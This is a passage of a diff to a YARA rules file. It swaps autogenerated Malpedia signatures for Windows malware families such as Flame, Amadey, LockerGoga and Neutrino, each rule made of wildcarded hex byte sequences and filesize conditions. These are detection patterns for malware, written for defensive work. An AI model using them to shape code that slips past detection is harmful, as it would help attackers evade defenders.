-		$sequence_1 = { 8bf0 83feff 7425 6a00 8d45d8 50 }
-		$sequence_2 = { 014364 8b45e4 014368 5b }
-		$sequence_3 = { bb8c132400 4a af e8???????? 1401 d000 }
-		$sequence_4 = { 014358 8b45f0 01435c 8b45fc }
-		$sequence_5 = { 014368 81434400020000 c7434000000000 83534800 }
-		$sequence_6 = { 8ac2 0245f0 3001 85d2 }
-		$sequence_7 = { 014360 8b45f4 014364 8b45e4 }
-		$sequence_8 = { 8b55f0 33c9 8b75fc 8b45f8 85c0 }
-		$sequence_9 = { 01c8 93 9e b2e0 e605 78a1 a4 }
-		$sequence_10 = { 013d???????? 8b04b5c8054400 0500080000 3bc8 }
-		$sequence_11 = { 01435c 8b45fc 014360 8b45f4 }
-		$sequence_12 = { 014354 8b45e8 014358 8b45f0 }
-		$sequence_13 = { b901000000 89500c 8bc1 f745c000020000 }
-		$sequence_14 = { 8b3d???????? b801000000 33c9 53 0fa2 5b }
-		$sequence_15 = { 8bc1 2bc7 2bd7 0145fc 81c232240000 8bc1 8955e8 }
+		$sequence_0 = { 89542440 8d4c2418 89442414 89542444 }
+		$sequence_1 = { 8b8c2484000000 8bbc2480000000 8b54247c 51 57 52 8bcb }
+		$sequence_2 = { 8b442438 89742418 89542468 89442460 8b44241c 33f6 8d542428 }
+		$sequence_3 = { e9???????? ff15???????? 50 eb13 5f 5e }
+		$sequence_4 = { 8b868c000000 68???????? 85c0 7413 6800000200 6a00 }
+		$sequence_5 = { 83c40c 899374010000 33ed 8b8374010000 }
+		$sequence_6 = { 83f8ff 0f8477020000 3bc5 0f84fb010000 8b9374010000 55 03d0 }
+		$sequence_7 = { 83c414 3bc3 770a 6a0a }
+		$sequence_8 = { 8db120010000 8b780c 42 897814 8b7808 897810 }
+		$sequence_9 = { 8b7c2424 e9???????? 50 8bcf eb2e }
 
 	condition:
-		7 of them and filesize <51014656
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Breakthrough_Loader_Auto : FILE
+rule MALPEDIA_Win_Leash_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c04a79be-d1c6-5097-81f4-9cd0a78c5ca6"
+		id = "cb5c9738-3925-5a03-a07d-f456311bbe1c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.breakthrough_loader_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.leash"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.leash_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "6b4d6b03c6e2480f390e69c1bdad99aa25aa8d566c5f76108e42a507f3962675"
+		logic_hash = "ba62c5a8d74be4d262e44012cbb9d0d01e64bb5749bfbb2b1403f379db7c0758"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158013,34 +164938,34 @@ rule MALPEDIA_Win_Breakthrough_Loader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7e2a 8b7df8 660f1f840000000000 0fb7444e08 a900300000 740a }
-		$sequence_1 = { 5d c3 8b4d14 890e 8b4d24 }
-		$sequence_2 = { 8945e8 8945f8 8b4508 56 be???????? c745eca07d4400 57 }
-		$sequence_3 = { 8b450c 0fb68401d86a4400 c1e804 5d }
-		$sequence_4 = { 85f6 742d 83f910 8d442420 0f43442420 881418 }
-		$sequence_5 = { e8???????? 33c0 c744242c07000000 8d8c2490000000 }
-		$sequence_6 = { 8bc7 83e03f 6bc830 8b049540354500 f644082801 7421 57 }
-		$sequence_7 = { 83e03f 6bc030 59 59 0304bd40354500 5f eb05 }
-		$sequence_8 = { 8b0cbd40354500 83c410 8b7de8 89440f20 8bc6 }
-		$sequence_9 = { 8b3e 8d0417 3bd0 731d 8d47ff 8906 8b4b20 }
+		$sequence_0 = { e8???????? 83c408 85c0 7511 8b8b08080000 56 e8???????? }
+		$sequence_1 = { 8a45ef 885def 3ac3 7404 c645ef01 }
+		$sequence_2 = { 6a01 6a02 ff15???????? 83f8ff 89831c180000 7519 5f }
+		$sequence_3 = { 33c0 f2ae f7d1 49 51 e8???????? 8be8 }
+		$sequence_4 = { 2bf9 8d93fe030000 8bc1 8bf7 8bfa 52 }
+		$sequence_5 = { 8b5808 33c0 8a442413 33fb 33db }
+		$sequence_6 = { 8bc1 8bf7 8bfa 8d9510ffffff }
+		$sequence_7 = { 85ff c744242800000000 7e58 8bd8 895c2410 }
+		$sequence_8 = { 8bd1 8bf0 c1e902 f3a5 8bca 83c404 83e103 }
+		$sequence_9 = { 894518 8b4514 99 83e203 03c2 8b5518 }
 
 	condition:
-		7 of them and filesize <753664
+		7 of them and filesize <761856
 }
-rule MALPEDIA_Win_Flame_Auto : FILE
+rule MALPEDIA_Win_Moker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f06c53ca-bcca-52e9-9b77-6f299afc1e85"
+		id = "18389526-a462-5233-a3a7-297ee29d064f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flame"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flame_auto.yar#L1-L154"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.moker_auto.yar#L1-L160"
 		license_url = "N/A"
-		logic_hash = "6d731bccc4a2ab5daf3cc3b64a3620582f6b712bc70665127cfafd95a28c1921"
+		logic_hash = "12a75630b6f84d2ec097d0e96068cb391171b00fda112afc8eea40b8efef358b"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -158052,37 +164977,38 @@ rule MALPEDIA_Win_Flame_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 741a 83f901 7415 e8???????? }
-		$sequence_1 = { 8b8ea4000000 48b8abaaaaaaaaaaaaaa 4c8bc5 48f7e1 }
-		$sequence_2 = { a3???????? 85c0 0f84c8fcffff 68???????? ff35???????? e8???????? }
-		$sequence_3 = { 744c 8b7518 ff75f8 8bce e8???????? 8b06 }
-		$sequence_4 = { 8b8ea0000000 48c1ea03 4803cd ff15???????? }
-		$sequence_5 = { ffd7 90 eb00 4883c430 5f 5e }
-		$sequence_6 = { 8b8ea0000000 4803cd ff15???????? 84c0 }
-		$sequence_7 = { 58 5e 5d c3 c701???????? c3 }
-		$sequence_8 = { 8b400c 83c006 50 ff15???????? 33db }
-		$sequence_9 = { 8365fc00 e9???????? b8???????? e8???????? }
-		$sequence_10 = { 7422 663b3b 0f94c0 84c0 }
-		$sequence_11 = { ff15???????? 85c0 742e 56 8b35???????? 8d4514 }
-		$sequence_12 = { 8b90b0000000 4903d3 eb64 448bc0 }
-		$sequence_13 = { 8b8c2490000000 8bc3 4823c8 8b348e eb27 f6c240 0f8539020000 }
-		$sequence_14 = { ff15???????? 834dfcff 8d4de0 e8???????? b001 }
+		$sequence_0 = { 0302 8945d4 8b4dd4 83c102 }
+		$sequence_1 = { 0302 8945e8 eb09 8b45e8 }
+		$sequence_2 = { 0302 8945e8 8b4df8 8b55fc }
+		$sequence_3 = { 0302 50 e8???????? 83c404 3b450c 750b 8b4df0 }
+		$sequence_4 = { 0301 8945e0 e8???????? 8b55e8 }
+		$sequence_5 = { 0302 8945dc 8b45dc 83c002 }
+		$sequence_6 = { 6a00 6a04 6a01 68000000c0 }
+		$sequence_7 = { 0100 83c414 85c0 7502 eb0a }
+		$sequence_8 = { 89e5 ff7508 ed 2e5c 034508 }
+		$sequence_9 = { 48 8b7c2428 48 39f7 7413 fc }
+		$sequence_10 = { 49 8b4c2408 ffd0 48 }
+		$sequence_11 = { d16000 d0806200a501 40 00b070e000e0 31e0 00d5 31c0 }
+		$sequence_12 = { 880424 49 89442430 49 89742458 66813e4d5a }
+		$sequence_13 = { 50 51 52 48 }
+		$sequence_14 = { c20800 55 89e5 ff750c ed }
+		$sequence_15 = { 89e5 60 8b7d08 6887000000 ed }
 
 	condition:
-		7 of them and filesize <1676288
+		7 of them and filesize <1761280
 }
-rule MALPEDIA_Win_Medusa_Auto : FILE
+rule MALPEDIA_Win_Shujin_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e5ced166-c5f3-50c0-9e84-e449f6bff889"
+		id = "20683034-d09a-5705-9d80-d7edf3a7d88d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.medusa"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.medusa_auto.yar#L1-L167"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shujin"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shujin_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "b88f5d47ff30b39fc78331a46c037d026177b73d253964f40555a9ce1312bb08"
+		logic_hash = "b1da2f105214e6f844dccb186e5a1748a5be3983c376113a3f54dc8e70f99c20"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158096,38 +165022,32 @@ rule MALPEDIA_Win_Medusa_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 680049ff69 004aff 6a00 4b ff6b00 4c ff6c004d }
-		$sequence_1 = { 1a03 69c421f3ef6a 2048b3 a5 }
-		$sequence_2 = { 52 ff7200 53 ff7300 54 }
-		$sequence_3 = { 317f52 56 5c ab 92 6f 0c48 }
-		$sequence_4 = { 9e 45 334a54 98 56 39ec 51 }
-		$sequence_5 = { 9f c48b2addd977 7612 a5 ba3c533f71 }
-		$sequence_6 = { e60e 6c 7bbc 45 }
-		$sequence_7 = { 54 ff740055 ff7500 56 }
-		$sequence_8 = { 99 5f 68066e570a 4f bfdb4a7adc }
-		$sequence_9 = { 1ddf859f31 e476 0c48 ce 74ec 1b826a013061 }
-		$sequence_10 = { 2a18 ae 085ffb cf }
-		$sequence_11 = { b5f9 43 324dd5 1ddf859f31 e476 0c48 }
-		$sequence_12 = { 5f e1fb 1cc9 3ca5 2c8e a1???????? d528 }
-		$sequence_13 = { b051 9f 4a d7 b9533e507c }
-		$sequence_14 = { 6c 6f aa 97 691c85470859bab566c1a5 }
-		$sequence_15 = { 813bf80937dc 8b4c6386 8608 5f }
+		$sequence_0 = { e8???????? ff7660 8b1d???????? 6a01 bf80000000 57 }
+		$sequence_1 = { ff15???????? 85c0 0f8431010000 53 897df4 }
+		$sequence_2 = { 6aff 50 ff15???????? 57 8b7d10 83ff01 }
+		$sequence_3 = { 8bf9 ba???????? 0fb67201 8a0a 8b1f d3e3 0fb60c06 }
+		$sequence_4 = { 83615400 53 56 57 8d7108 c7450805000000 8b46f8 }
+		$sequence_5 = { ff45f8 817df870170000 72c9 e9???????? 807daa01 8b45e8 8d1c06 }
+		$sequence_6 = { 8b5508 0facc21a c1f81a 8bd8 8955e4 }
+		$sequence_7 = { c1ef10 8d8d9cf9ffff 2bf9 03f8 a0???????? a801 7421 }
+		$sequence_8 = { 895008 8b680c 8bd5 896c2410 }
+		$sequence_9 = { 8d1c06 83c40c 8975f8 3bf3 731e }
 
 	condition:
-		7 of them and filesize <1720320
+		7 of them and filesize <172032
 }
-rule MALPEDIA_Win_Crosswalk_Auto : FILE
+rule MALPEDIA_Win_Amadey_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4e86aa0a-7e26-5d10-b3ce-967831f39ceb"
+		id = "bcbf3802-d510-5a36-b69a-5e392988dabd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crosswalk"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crosswalk_auto.yar#L1-L164"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.amadey_auto.yar#L1-L208"
 		license_url = "N/A"
-		logic_hash = "c5472d51b6e367a8e5153b183b7c173cc8cbe07eef42b7b5523d361aefdeb08e"
+		logic_hash = "c915860f91ad45f2eb5b15d5deb4fc25f32146851585f24cbb18a6984390dbf0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158141,38 +165061,42 @@ rule MALPEDIA_Win_Crosswalk_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4885c9 7402 ffd1 b801000000 }
-		$sequence_1 = { ff15???????? 448bf0 4533c9 4533c0 }
-		$sequence_2 = { 458bc6 33d2 488bc8 e8???????? 4533c9 }
-		$sequence_3 = { 458d7ee0 418bd7 ff15???????? 4821742420 }
-		$sequence_4 = { 4c8bc6 33d2 410fbe00 49ffc0 }
-		$sequence_5 = { 418bc0 f7e9 03d1 c1fa0b 8bc2 c1e81f 03d0 }
-		$sequence_6 = { d3ca 03d0 4183ef01 75ef }
-		$sequence_7 = { 410fbe00 49ffc0 d3ca 03d0 }
-		$sequence_8 = { 8b45fc 817848f0844100 7409 ff7048 e8???????? }
-		$sequence_9 = { 6a26 58 0fb60c85c6574100 0fb63485c7574100 8bf9 }
-		$sequence_10 = { 7403 ff5508 5d c20400 53 8b1d???????? }
-		$sequence_11 = { 735f 8bc6 8bfe 83e03f c1ff06 6bd830 8b04bd808e4100 }
-		$sequence_12 = { c1f906 03048d808e4100 eb02 8bc6 80782900 }
-		$sequence_13 = { 83e801 0f8501010000 c745e0245b4100 8b4508 8bcf 8b7510 }
-		$sequence_14 = { 740e 50 e8???????? 83a6808e410000 59 }
-		$sequence_15 = { 83e801 0f8580000000 8b4508 dd00 ebc6 c745e0285b4100 e9???????? }
+		$sequence_0 = { ebb0 b8???????? 83c410 5b }
+		$sequence_1 = { e8???????? 89c2 8b45f4 89d1 ba00000000 f7f1 }
+		$sequence_2 = { c744240805000000 c744240402000000 890424 e8???????? }
+		$sequence_3 = { c9 c3 55 89e5 81ecc8010000 }
+		$sequence_4 = { c70424???????? e8???????? 8b45fc 89442408 c7442404???????? 8b4508 890424 }
+		$sequence_5 = { c744240800020000 8d85f8fdffff 89442404 891424 e8???????? 83ec20 }
+		$sequence_6 = { c70424???????? e8???????? 890424 e8???????? 84c0 7407 c745fc05000000 }
+		$sequence_7 = { 83ec04 8945f4 837df400 7454 8b4508 890424 }
+		$sequence_8 = { 83fa10 722f 8b8d78feffff 42 }
+		$sequence_9 = { 8b8d78feffff 42 8bc1 81fa00100000 7214 8b49fc }
+		$sequence_10 = { 68???????? e8???????? 8d4dcc e8???????? 83c418 }
+		$sequence_11 = { 68???????? e8???????? 8d4db4 e8???????? 83c418 }
+		$sequence_12 = { 52 6a02 6a00 51 ff75f8 ff15???????? ff75f8 }
+		$sequence_13 = { 8bce e8???????? e8???????? 83c418 e8???????? e9???????? 52 }
+		$sequence_14 = { c705????????0c000000 eb31 c705????????0d000000 eb25 83f901 750c }
+		$sequence_15 = { 50 68???????? 83ec18 8bcc 68???????? e8???????? }
+		$sequence_16 = { 8bcc 68???????? e8???????? 8d8d78feffff e8???????? 83c418 }
+		$sequence_17 = { c78584fdffff0f000000 c68570fdffff00 83fa10 722f 8b8d58fdffff 42 }
+		$sequence_18 = { c78520fdffff00000000 c78524fdffff0f000000 c68510fdffff00 83fa10 722f }
+		$sequence_19 = { 51 e8???????? 83c408 8b950cfdffff c78520fdffff00000000 c78524fdffff0f000000 }
 
 	condition:
-		7 of them and filesize <286720
+		7 of them and filesize <529408
 }
-rule MALPEDIA_Win_Lolsnif_Auto : FILE
+rule MALPEDIA_Win_Rook_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1d5fbfc8-0217-55f5-a391-424b7e7d3b81"
+		id = "18a58274-365f-5d90-8056-28a56db76f76"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lolsnif"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lolsnif_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rook"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rook_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "9bce9d984017297751bb54a3f5eaf0b3b4bc516f4f45f71420e0fbe5f0438c0a"
+		logic_hash = "8b05af9f0d6f5102cdf2e062676438cba9dcdb9d6b25adc560d5025ee81a7b52"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158186,32 +165110,32 @@ rule MALPEDIA_Win_Lolsnif_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c745ecebfecccc 8945f8 895dfc e8???????? 85c0 0f84e6000000 c745fc10000000 }
-		$sequence_1 = { 8d4510 50 ff35???????? e8???????? 8bf8 85ff 0f8576010000 }
-		$sequence_2 = { 8945fc 7460 894508 ff35???????? 8b450c ff7510 e8???????? }
-		$sequence_3 = { 6817010000 1bc0 51 23c6 50 e8???????? e9???????? }
-		$sequence_4 = { 3bf1 742b 53 8b5f04 }
-		$sequence_5 = { 8bf8 85ff 754c 8b45fc }
-		$sequence_6 = { 6a20 50 ff15???????? 3bc3 0f84eb000000 68???????? 50 }
-		$sequence_7 = { 8b471c 3bc3 7411 50 53 ff35???????? ff15???????? }
-		$sequence_8 = { 85c0 0f841b020000 50 ff7320 e8???????? 8bf0 }
-		$sequence_9 = { bf02010000 eb08 ff15???????? 8bf8 }
+		$sequence_0 = { 488d05478d0200 c7470801000000 48c7471003000000 48894748 488d05c59e0200 }
+		$sequence_1 = { 0f8521ffffff 44882b eb7b 488b9540070000 4c8d05979e0000 498bce }
+		$sequence_2 = { 85c0 0f85f5020000 488b8d08080000 488d85f8070000 4c89a424c0080000 488d15ffb90400 }
+		$sequence_3 = { ff15???????? 488bd3 488d0d82ac0400 448bc0 e8???????? 488b0d???????? 4c8bc3 }
+		$sequence_4 = { 4433d0 418bc1 48c1e808 0fb6c8 41c1e208 420fb6843170990500 4433d0 }
+		$sequence_5 = { 488d85f8070000 4c89a424c0080000 488d15ffb90400 4889442428 4c8d25d3450500 4c89ac24b8080000 }
+		$sequence_6 = { 488d542460 488d0d1c380500 e8???????? 488d9510020000 498bcc ff15???????? 4839bd10020000 }
+		$sequence_7 = { 48894760 488d0535980200 c7475001000000 48c7475804000000 48894778 488d050b710300 c7476801000000 }
+		$sequence_8 = { 4898 4d8d3446 83ed01 7586 4885f6 0f84d3000000 488bce }
+		$sequence_9 = { 4c8d05f7140300 488986b0000000 488d8e98000000 e8???????? 8bd8 85c0 0f8517ffffff }
 
 	condition:
-		7 of them and filesize <425984
+		7 of them and filesize <843776
 }
-rule MALPEDIA_Win_Getmypass_Auto : FILE
+rule MALPEDIA_Win_Lockergoga_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "083431d4-35f0-5afc-be73-c4abda9f956c"
+		id = "1c23217f-5659-545b-a560-32c15b901216"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.getmypass_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lockergoga_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "73655fc056c3c045e75de418123d8e1cd087892e700c185d02f9fb25dda3b86c"
+		logic_hash = "0b1cfe6b39387960d8fabaa4bf38642a4ddd7ce3aadb70d3ac9c167b96d0b767"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158225,34 +165149,34 @@ rule MALPEDIA_Win_Getmypass_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c201 8955fc ebcb 837dfc05 7e04 b001 eb02 }
-		$sequence_1 = { 0fb64d08 85c9 7418 8b9594fdffff 52 }
-		$sequence_2 = { 68???????? 68???????? e8???????? 83c408 8945fc 837dfc00 7463 }
-		$sequence_3 = { 6a00 8b45f8 50 ff15???????? e8???????? }
-		$sequence_4 = { 8945f4 837df400 742d 8b55f4 0fb702 83f831 750c }
-		$sequence_5 = { e8???????? 83c404 a3???????? 8b55f8 52 e8???????? 83c404 }
-		$sequence_6 = { 83f835 7409 0fbe4d08 83f934 }
-		$sequence_7 = { e8???????? 83c404 8945fc 837dfcff 740e }
-		$sequence_8 = { 8b55f8 8b4204 2b450c 8b4df8 0301 50 }
-		$sequence_9 = { 83f801 7509 c745e400000000 eb17 8b5508 83c201 }
+		$sequence_0 = { e9???????? 33c0 897dd4 8b560c 33c9 894514 3bc3 }
+		$sequence_1 = { 725e 8b06 8b7e38 8b80e4000000 89459c 3bd7 722c }
+		$sequence_2 = { e8???????? 50 ffb5f0feffff 8d85c0feffff c645fc0c 50 8bcf }
+		$sequence_3 = { ff10 8d4b10 e8???????? 6a38 53 e8???????? 83c408 }
+		$sequence_4 = { e8???????? 8d45d8 c645fc04 50 8bcb e8???????? 8b1b }
+		$sequence_5 = { e8???????? 8d45c0 c645fc01 50 8bce e8???????? 8bf0 }
+		$sequence_6 = { 8b4df0 33cd e8???????? 8be5 5d c3 ff7594 }
+		$sequence_7 = { 8b5904 8b7d0c 8975e8 8975ec 8945f0 c745fc00000000 85ff }
+		$sequence_8 = { f30f7e4710 660fd64610 c7471000000000 c747140f000000 c60700 83c718 c745fcffffffff }
+		$sequence_9 = { e8???????? 8bc8 3bcf 7413 837f1410 8bc7 7202 }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <2588672
 }
-rule MALPEDIA_Win_Whiteblackcrypt_Auto : FILE
+rule MALPEDIA_Win_Neutrino_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6157b109-2151-5074-8840-c27487c07a25"
+		id = "b9eb1524-9975-578b-ab6d-93138480d1f6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whiteblackcrypt"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.whiteblackcrypt_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.neutrino_auto.yar#L1-L324"
 		license_url = "N/A"
-		logic_hash = "f60c96c165ea27ee68f018ece2d6f92a309aa90e387cd2c1a16407c43ba45f47"
-		score = 75
-		quality = 75
+		logic_hash = "b8cd6770a3479380c0f958a2776eccb26f589975e6ef7e101cff7469e248afc4"
+		score = 60
+		quality = 43
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -158264,32 +165188,55 @@ rule MALPEDIA_Win_Whiteblackcrypt_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 790d b910270000 ff15???????? ebea e8???????? b805000030 31c9 }
-		$sequence_1 = { 75ed 0f118fb0000000 4883c310 ebc4 4883c420 5b 5e }
-		$sequence_2 = { 4883ec38 83fa02 744c 7707 83fa01 745a eb4d }
-		$sequence_3 = { 75a2 5b 5e c3 4c8d4a10 48c1e104 }
-		$sequence_4 = { 488d0d583d0000 c705????????01000000 e8???????? 4885c0 7414 b801000000 }
-		$sequence_5 = { 4889c6 4889c7 4489f0 f3aa 4889f1 e8???????? }
-		$sequence_6 = { 4881ecb0030000 4c8d0504420000 31c0 41b9ffff0000 }
-		$sequence_7 = { 8801 48ffc1 ebe8 c3 55 }
-		$sequence_8 = { 7412 8d509f 80fa19 7703 }
-		$sequence_9 = { f20f2ad2 48895c2420 dd442420 f20f11542428 dd442428 d9c9 d9fd }
+		$sequence_0 = { ff15???????? c1e010 50 ff15???????? }
+		$sequence_1 = { 50 6a0b 6a07 e8???????? }
+		$sequence_2 = { 50 6a05 6a03 e8???????? }
+		$sequence_3 = { 85c9 7439 8b550c 8955fc 8b45fc 0fbe08 85c9 }
+		$sequence_4 = { 0fbe02 85c0 7447 8b4df4 0fbe11 8b45fc 0fbe08 }
+		$sequence_5 = { 0404 0404 0404 0402 0202 0202 }
+		$sequence_6 = { 8b4d0c 894dfc 8b55f4 83c201 8955f4 ebaf 8b45f4 }
+		$sequence_7 = { 0404 0404 010404 0202 }
+		$sequence_8 = { 020402 0404 0404 0404 0404 0404 0403 }
+		$sequence_9 = { 51 0fb655e7 52 8b45e0 50 e8???????? }
+		$sequence_10 = { 0fbe08 85c9 741b 8b55fc 0fbe02 8b4df8 0fbe11 }
+		$sequence_11 = { 894dfc 8b55fc 0fbe02 85c0 750f 8b4d0c 894dfc }
+		$sequence_12 = { 6a00 ff15???????? 6880000000 ff15???????? }
+		$sequence_13 = { 010404 0202 020402 0404 }
+		$sequence_14 = { e9???????? 6a01 ff15???????? 85c0 }
+		$sequence_15 = { 52 ff15???????? 83f8ff 7504 32c0 eb02 b001 }
+		$sequence_16 = { 894d08 0fb6550c 83fa01 7509 8b4508 83c001 894508 }
+		$sequence_17 = { 7407 814a1800300000 f645fe01 0f8494020000 834a1801 8b45f4 }
+		$sequence_18 = { 6a1c 5b 8d4de0 51 50 895de0 ff15???????? }
+		$sequence_19 = { 8a00 ff45f4 8b7218 8ad8 c0eb06 885dfc }
+		$sequence_20 = { 7354 8b3b 0fb6f2 6a05 58 2bc6 8d1437 }
+		$sequence_21 = { 51 ff35???????? c7460480000000 ff15???????? 8906 }
+		$sequence_22 = { 33d2 81e100f0ffff eb08 3bc1 7409 8bd0 }
+		$sequence_23 = { f645fe02 740a 834a1804 8a03 884210 43 f645fe40 }
+		$sequence_24 = { 83c120 81fae00f0000 76ea 8b0d???????? 8908 a3???????? 5f }
+		$sequence_25 = { 8d85b8feffff 50 68???????? ff15???????? 8945fc }
+		$sequence_26 = { 83c40c 6804010000 8d85f8fdffff 50 }
+		$sequence_27 = { 7507 68???????? eb05 68???????? 50 ff510c }
+		$sequence_28 = { 7522 be???????? ff15???????? 57 8906 ff15???????? 83c604 }
+		$sequence_29 = { 7412 68???????? 50 ff15???????? f7d8 1bc0 }
+		$sequence_30 = { 57 33ff 393d???????? 7522 be???????? }
+		$sequence_31 = { ff15???????? 50 ff15???????? 837dfc00 0f95c0 c9 }
+		$sequence_32 = { ff750c ff7508 ff15???????? 83f8ff 0f95c0 }
 
 	condition:
-		7 of them and filesize <99328
+		7 of them and filesize <507904
 }
-rule MALPEDIA_Win_Dnschanger_Auto : FILE
+rule MALPEDIA_Win_Odinaff_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ae807a62-5d4f-55b1-a240-1c49a1caed44"
+		id = "c28375cd-e1a8-5dbb-b117-119bc2a2a6cd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnschanger"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dnschanger_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.odinaff_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "6d81d999d3cf2fb8d24f1a3cbe10fc2c3244404cd2fbc45cfa8a36930b442d5e"
+		logic_hash = "de88658965024bda0c5434053043d1a37aa258e92b5fc7491f70abd6c372a45d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158303,32 +165250,32 @@ rule MALPEDIA_Win_Dnschanger_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 8bf0 8b442414 6800010000 }
-		$sequence_1 = { b301 57 ff15???????? 85f6 740c 56 6a00 }
-		$sequence_2 = { 8bc2 03c7 eb02 8bc7 5f }
-		$sequence_3 = { be04000000 5f 8bc6 5e 81c494000000 }
-		$sequence_4 = { ff7508 66ab aa ff15???????? }
-		$sequence_5 = { 8b542408 53 8a1a 8819 41 42 84db }
-		$sequence_6 = { 3b0e 72f2 57 57 57 }
-		$sequence_7 = { 57 57 56 57 ff75fc ff15???????? }
